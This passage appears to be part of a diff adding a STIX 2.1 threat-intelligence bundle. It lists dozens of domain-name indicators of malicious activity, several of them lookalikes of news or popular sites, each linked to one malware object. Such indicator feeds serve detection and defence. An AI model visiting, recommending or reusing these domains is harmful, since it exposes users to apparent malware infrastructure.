+ "relationship_type": "indicates", + "source_ref": "indicator--668290db-7627-4e1b-947c-d68a8e63c5ef", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5707fa6c-27ee-452c-ae63-19725640a53d", + "created": "2026-02-17T19:39:51.900222Z", + "modified": "2026-02-17T19:39:51.900222Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kormoran.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.900222Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61d75dbc-37e5-47a3-a792-1fdf99948cd3", + "created": "2026-02-17T19:39:51.900512Z", + "modified": "2026-02-17T19:39:51.900512Z", + "relationship_type": "indicates", + "source_ref": "indicator--5707fa6c-27ee-452c-ae63-19725640a53d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--117bc680-d37a-4d54-9f8b-d598b5848d78", + "created": "2026-02-17T19:39:51.900584Z", + "modified": "2026-02-17T19:39:51.900584Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instegram.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.900584Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9b388a1-a3be-4811-82ea-060056ee59df", + "created": "2026-02-17T19:39:51.900875Z", + "modified": "2026-02-17T19:39:51.900875Z", + "relationship_type": "indicates", + "source_ref": "indicator--117bc680-d37a-4d54-9f8b-d598b5848d78", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef3a8bd3-6deb-4bdc-a1a7-5bf808b48ace", + "created": "2026-02-17T19:39:51.900948Z", + "modified": "2026-02-17T19:39:51.900948Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showsme.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.900948Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86f1c7c4-3643-4246-96fe-8285103d29ff", + "created": "2026-02-17T19:39:51.901238Z", + "modified": "2026-02-17T19:39:51.901238Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef3a8bd3-6deb-4bdc-a1a7-5bf808b48ace", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c4de89d-3818-4bc7-91d5-44802bc75b9e", + "created": "2026-02-17T19:39:51.901312Z", + "modified": "2026-02-17T19:39:51.901312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='candidaturassonangol.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.901312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59a12690-4aa4-490a-8c54-0171f1b2b46e", + "created": "2026-02-17T19:39:51.901611Z", + "modified": "2026-02-17T19:39:51.901611Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c4de89d-3818-4bc7-91d5-44802bc75b9e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--534708b2-7453-4aa0-9e20-c99919fe0acc", + "created": "2026-02-17T19:39:51.901683Z", + "modified": "2026-02-17T19:39:51.901683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ckforward.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.901683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc87249a-11af-4637-a152-ac2424b2d49a", + "created": "2026-02-17T19:39:51.901976Z", + "modified": "2026-02-17T19:39:51.901976Z", + "relationship_type": "indicates", + "source_ref": "indicator--534708b2-7453-4aa0-9e20-c99919fe0acc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e9dcdb1-8951-44df-b9f6-018ef2704035", + "created": "2026-02-17T19:39:51.902049Z", + "modified": "2026-02-17T19:39:51.902049Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastnews.biz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.902049Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a6702fb-0d89-4f7e-b731-5832b8ee4e95", + "created": "2026-02-17T19:39:51.902404Z", + "modified": "2026-02-17T19:39:51.902404Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e9dcdb1-8951-44df-b9f6-018ef2704035", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33bc6462-668b-4525-b901-f604d204ab08", + "created": "2026-02-17T19:39:51.90248Z", + "modified": "2026-02-17T19:39:51.90248Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smcu.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.90248Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79530496-a20c-46da-a10e-d37db7730210", + "created": "2026-02-17T19:39:51.902768Z", + "modified": "2026-02-17T19:39:51.902768Z", + "relationship_type": "indicates", + "source_ref": "indicator--33bc6462-668b-4525-b901-f604d204ab08", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44de85ad-8354-4c18-b33d-09eea2aed995", + "created": "2026-02-17T19:39:51.902843Z", + "modified": "2026-02-17T19:39:51.902843Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tvxs.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.902843Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c755a014-977c-46a6-b06e-fbac8047e142", + "created": "2026-02-17T19:39:51.90313Z", + "modified": "2026-02-17T19:39:51.90313Z", + "relationship_type": "indicates", + "source_ref": "indicator--44de85ad-8354-4c18-b33d-09eea2aed995", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3eaee95d-c2cf-4a1b-b823-c091a8f5f960", + "created": "2026-02-17T19:39:51.903203Z", + "modified": "2026-02-17T19:39:51.903203Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mlinks.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.903203Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--692a5171-6e06-40ca-824b-448258ac0a58", + "created": "2026-02-17T19:39:51.903492Z", + "modified": "2026-02-17T19:39:51.903492Z", + "relationship_type": "indicates", + "source_ref": "indicator--3eaee95d-c2cf-4a1b-b823-c091a8f5f960", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd539e4b-590a-4ca2-94ab-ae80e0824444", + "created": "2026-02-17T19:39:51.903566Z", + "modified": "2026-02-17T19:39:51.903566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='livingwithbadkidny.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.903566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64d5e43f-8f29-4359-84a5-deb27d6c83e4", + "created": "2026-02-17T19:39:51.903861Z", + "modified": "2026-02-17T19:39:51.903861Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd539e4b-590a-4ca2-94ab-ae80e0824444", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--920b763d-acd5-4e6a-8588-176422a7383a", + "created": "2026-02-17T19:39:51.903935Z", + "modified": "2026-02-17T19:39:51.903935Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='2y4nothing.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.903935Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0957cafd-ea00-4223-8b81-0b597e39ba9d", + "created": "2026-02-17T19:39:51.904224Z", + "modified": "2026-02-17T19:39:51.904224Z", + "relationship_type": "indicates", + "source_ref": "indicator--920b763d-acd5-4e6a-8588-176422a7383a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9c18cf3-a5ad-41dc-b6d2-43a32020979e", + "created": "2026-02-17T19:39:51.904298Z", + "modified": "2026-02-17T19:39:51.904298Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='t-bit.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.904298Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--184dea1d-f93f-42a1-b1fc-6afd01fde346", + "created": "2026-02-17T19:39:51.904585Z", + "modified": "2026-02-17T19:39:51.904585Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9c18cf3-a5ad-41dc-b6d2-43a32020979e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e956537c-a1b2-4d1c-b340-6e4692d2174c", + "created": "2026-02-17T19:39:51.904661Z", + "modified": "2026-02-17T19:39:51.904661Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eventes.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.904661Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d37a38b-67bd-4380-af1b-32ef882d1e37", + "created": "2026-02-17T19:39:51.904949Z", + "modified": "2026-02-17T19:39:51.904949Z", + "relationship_type": "indicates", + "source_ref": "indicator--e956537c-a1b2-4d1c-b340-6e4692d2174c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9aa2926-ff16-4fa6-a369-3728d21787f6", + "created": "2026-02-17T19:39:51.905022Z", + "modified": "2026-02-17T19:39:51.905022Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='supportset.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.905022Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5da87d6-9391-4642-9b85-f57d13c31652", + "created": "2026-02-17T19:39:51.905313Z", + "modified": "2026-02-17T19:39:51.905313Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9aa2926-ff16-4fa6-a369-3728d21787f6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcce9db3-be26-4713-a08b-a5e69b3d15df", + "created": "2026-02-17T19:39:51.905386Z", + "modified": "2026-02-17T19:39:51.905386Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='magnum-kz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.905386Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7441b507-ed70-4f07-a819-39b156ad0247", + "created": "2026-02-17T19:39:51.905743Z", + "modified": "2026-02-17T19:39:51.905743Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcce9db3-be26-4713-a08b-a5e69b3d15df", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--999f4d95-f33b-4622-bb70-aef87975c897", + "created": "2026-02-17T19:39:51.905825Z", + "modified": "2026-02-17T19:39:51.905825Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olexegy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.905825Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a9b0599-1dc8-46f3-956b-90593d930d59", + "created": "2026-02-17T19:39:51.906122Z", + "modified": "2026-02-17T19:39:51.906122Z", + "relationship_type": "indicates", + "source_ref": "indicator--999f4d95-f33b-4622-bb70-aef87975c897", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5993dec0-5fcb-42d5-bffe-2e755f02e7c1", + "created": "2026-02-17T19:39:51.906195Z", + "modified": "2026-02-17T19:39:51.906195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtub-eg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.906195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d1a792c-bf79-47e6-930f-64b8abc52059", + "created": "2026-02-17T19:39:51.906486Z", + "modified": "2026-02-17T19:39:51.906486Z", + "relationship_type": "indicates", + "source_ref": "indicator--5993dec0-5fcb-42d5-bffe-2e755f02e7c1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d9cec40c-ca60-4f46-b3b2-774e8c58896b", + "created": "2026-02-17T19:39:51.90656Z", + "modified": "2026-02-17T19:39:51.90656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gulfsports.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.90656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e194622-5c9f-4fac-9e84-86681695c006", + "created": "2026-02-17T19:39:51.906854Z", + "modified": "2026-02-17T19:39:51.906854Z", + "relationship_type": "indicates", + "source_ref": "indicator--d9cec40c-ca60-4f46-b3b2-774e8c58896b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--106d35cb-7dd1-499b-9e7f-ba9b4bbec552", + "created": "2026-02-17T19:39:51.906927Z", + "modified": "2026-02-17T19:39:51.906927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kohaicorp.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.906927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--528653f3-bc67-4354-a10f-64837619592a", + "created": "2026-02-17T19:39:51.907219Z", + "modified": "2026-02-17T19:39:51.907219Z", + "relationship_type": "indicates", + "source_ref": "indicator--106d35cb-7dd1-499b-9e7f-ba9b4bbec552", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de19daa0-3981-4c1e-bfc0-0aa26ee109cc", + "created": "2026-02-17T19:39:51.907295Z", + "modified": "2026-02-17T19:39:51.907295Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='politique-koaci.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.907295Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a95e0eee-bfff-4b39-8c4b-e1abc7a6bf2c", + "created": "2026-02-17T19:39:51.907592Z", + "modified": "2026-02-17T19:39:51.907592Z", + "relationship_type": "indicates", + "source_ref": "indicator--de19daa0-3981-4c1e-bfc0-0aa26ee109cc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39a64e5c-5953-43d0-beed-9527b724b77c", + "created": "2026-02-17T19:39:51.907669Z", + "modified": "2026-02-17T19:39:51.907669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yallakora-egy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.907669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3594a7e1-d6a9-4cdd-b3f3-a528b3195707", + "created": "2026-02-17T19:39:51.907964Z", + "modified": "2026-02-17T19:39:51.907964Z", + "relationship_type": "indicates", + "source_ref": "indicator--39a64e5c-5953-43d0-beed-9527b724b77c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55cbc335-43e6-4da4-b407-7f27b1514cd0", + "created": "2026-02-17T19:39:51.908038Z", + "modified": "2026-02-17T19:39:51.908038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ferrari.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.908038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b129b2c-6dd5-49b4-ba77-d88fbb0bd238", + "created": "2026-02-17T19:39:51.908329Z", + "modified": "2026-02-17T19:39:51.908329Z", + "relationship_type": "indicates", + "source_ref": "indicator--55cbc335-43e6-4da4-b407-7f27b1514cd0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07daf8f3-8ca1-46d5-a5d8-8716b1c62a88", + "created": "2026-02-17T19:39:51.908402Z", + "modified": "2026-02-17T19:39:51.908402Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiol.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.908402Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--24e31b31-c5f6-4e02-88e7-ecb054f32a1a", + "created": "2026-02-17T19:39:51.90869Z", + "modified": "2026-02-17T19:39:51.90869Z", + "relationship_type": "indicates", + "source_ref": "indicator--07daf8f3-8ca1-46d5-a5d8-8716b1c62a88", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9057548c-df37-4ff2-9e61-9b1779522eb6", + "created": "2026-02-17T19:39:51.908764Z", + "modified": "2026-02-17T19:39:51.908764Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vouliwatch.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.908764Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22ed85d0-e1ce-43d1-aa3b-6538335e34cd", + "created": "2026-02-17T19:39:51.909124Z", + "modified": "2026-02-17T19:39:51.909124Z", + "relationship_type": "indicates", + "source_ref": "indicator--9057548c-df37-4ff2-9e61-9b1779522eb6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e755742-dff1-4f1a-a111-2a54b2271926", + "created": "2026-02-17T19:39:51.909199Z", + "modified": "2026-02-17T19:39:51.909199Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fr-monde.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.909199Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71bc9788-d0fd-4e0b-bbe2-ced4a7de3a28", + "created": "2026-02-17T19:39:51.90949Z", + "modified": "2026-02-17T19:39:51.90949Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e755742-dff1-4f1a-a111-2a54b2271926", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e345cf9-c929-4489-aced-584f311f603e", + "created": "2026-02-17T19:39:51.909563Z", + "modified": "2026-02-17T19:39:51.909563Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellasjournal.company']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.909563Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b74819d3-6ea1-453f-9f39-9ed3a37e0955", + "created": "2026-02-17T19:39:51.90986Z", + "modified": "2026-02-17T19:39:51.90986Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e345cf9-c929-4489-aced-584f311f603e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--367dec9f-1202-4e04-9d46-80e83221a1bf", + "created": "2026-02-17T19:39:51.909933Z", + "modified": "2026-02-17T19:39:51.909933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newslive2.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.909933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85915079-3485-4ec9-9225-5d58d86228b3", + "created": "2026-02-17T19:39:51.910222Z", + "modified": "2026-02-17T19:39:51.910222Z", + "relationship_type": "indicates", + "source_ref": "indicator--367dec9f-1202-4e04-9d46-80e83221a1bf", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7b9f12f-bb42-4fbd-b001-0749a2696536", + "created": "2026-02-17T19:39:51.910294Z", + "modified": "2026-02-17T19:39:51.910294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='in-politics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.910294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50297998-cb60-40e4-80e2-b77ae342a5d0", + "created": "2026-02-17T19:39:51.910585Z", + "modified": "2026-02-17T19:39:51.910585Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7b9f12f-bb42-4fbd-b001-0749a2696536", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b4df195-36d3-4341-a31a-d6ac8df61f5c", + "created": "2026-02-17T19:39:51.910659Z", + "modified": "2026-02-17T19:39:51.910659Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.910659Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9825f84e-c3cc-4bc7-b883-7f4ecaf6a740", + "created": "2026-02-17T19:39:51.910954Z", + "modified": "2026-02-17T19:39:51.910954Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b4df195-36d3-4341-a31a-d6ac8df61f5c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d29c69b6-7ac8-4643-a02b-9ae5b263c831", + "created": "2026-02-17T19:39:51.911026Z", + "modified": "2026-02-17T19:39:51.911026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mundodenoticias.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.911026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eaee4e8c-df82-4ca6-8a4c-da7b6c511da0", + "created": "2026-02-17T19:39:51.911325Z", + "modified": "2026-02-17T19:39:51.911325Z", + "relationship_type": "indicates", + "source_ref": "indicator--d29c69b6-7ac8-4643-a02b-9ae5b263c831", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf99e4db-2a07-426e-878c-6d68aa1e3a4f", + "created": "2026-02-17T19:39:51.911398Z", + "modified": "2026-02-17T19:39:51.911398Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ewish.cards']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.911398Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a516ff65-6d82-46a8-bc00-1fb357438d95", + "created": "2026-02-17T19:39:51.911684Z", + "modified": "2026-02-17T19:39:51.911684Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf99e4db-2a07-426e-878c-6d68aa1e3a4f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff3bc61b-f0ed-4c6a-8afe-adcdedd0489a", + "created": "2026-02-17T19:39:51.911756Z", + "modified": "2026-02-17T19:39:51.911756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skollie.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.911756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52d313fb-f25b-4fce-b167-162262cab6f4", + "created": "2026-02-17T19:39:51.912048Z", + "modified": "2026-02-17T19:39:51.912048Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff3bc61b-f0ed-4c6a-8afe-adcdedd0489a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0df0fb0d-9edd-41a5-abdd-69dcf5ce21a9", + "created": "2026-02-17T19:39:51.91212Z", + "modified": "2026-02-17T19:39:51.91212Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redirecting.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.91212Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--971fb42c-41c5-424e-a482-69c2cdb42e9a", + "created": "2026-02-17T19:39:51.912474Z", + "modified": "2026-02-17T19:39:51.912474Z", + "relationship_type": "indicates", + "source_ref": "indicator--0df0fb0d-9edd-41a5-abdd-69dcf5ce21a9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e4ffce3-b254-4b10-96cd-faee8dd9c2fd", + "created": "2026-02-17T19:39:51.912548Z", + "modified": "2026-02-17T19:39:51.912548Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iibt.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.912548Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c60c84f-c849-4eeb-9ae3-fe259e493c50", + "created": "2026-02-17T19:39:51.912838Z", + "modified": "2026-02-17T19:39:51.912838Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e4ffce3-b254-4b10-96cd-faee8dd9c2fd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa542146-286f-4f2a-bb75-0c90e0ea74af", + "created": "2026-02-17T19:39:51.912912Z", + "modified": "2026-02-17T19:39:51.912912Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xyvok.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.912912Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9d00163-687f-4306-98f9-de0e7c6ff889", + "created": "2026-02-17T19:39:51.913254Z", + "modified": "2026-02-17T19:39:51.913254Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa542146-286f-4f2a-bb75-0c90e0ea74af", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3c4c2f8-2022-4b12-a89b-48cae2c7e5bd", + "created": "2026-02-17T19:39:51.913329Z", + "modified": "2026-02-17T19:39:51.913329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathersite.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.913329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cfc2c9b4-4691-4bc9-b239-bff191de29ed", + "created": "2026-02-17T19:39:51.913626Z", + "modified": "2026-02-17T19:39:51.913626Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3c4c2f8-2022-4b12-a89b-48cae2c7e5bd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fea0ac5e-5cf5-4f9c-9fae-3dc41330fb6b", + "created": "2026-02-17T19:39:51.9137Z", + "modified": "2026-02-17T19:39:51.9137Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedygonzales.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.9137Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b993b502-f91a-4804-bfc3-dee6c1a55ddf", + "created": "2026-02-17T19:39:51.913995Z", + "modified": "2026-02-17T19:39:51.913995Z", + "relationship_type": "indicates", + "source_ref": "indicator--fea0ac5e-5cf5-4f9c-9fae-3dc41330fb6b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 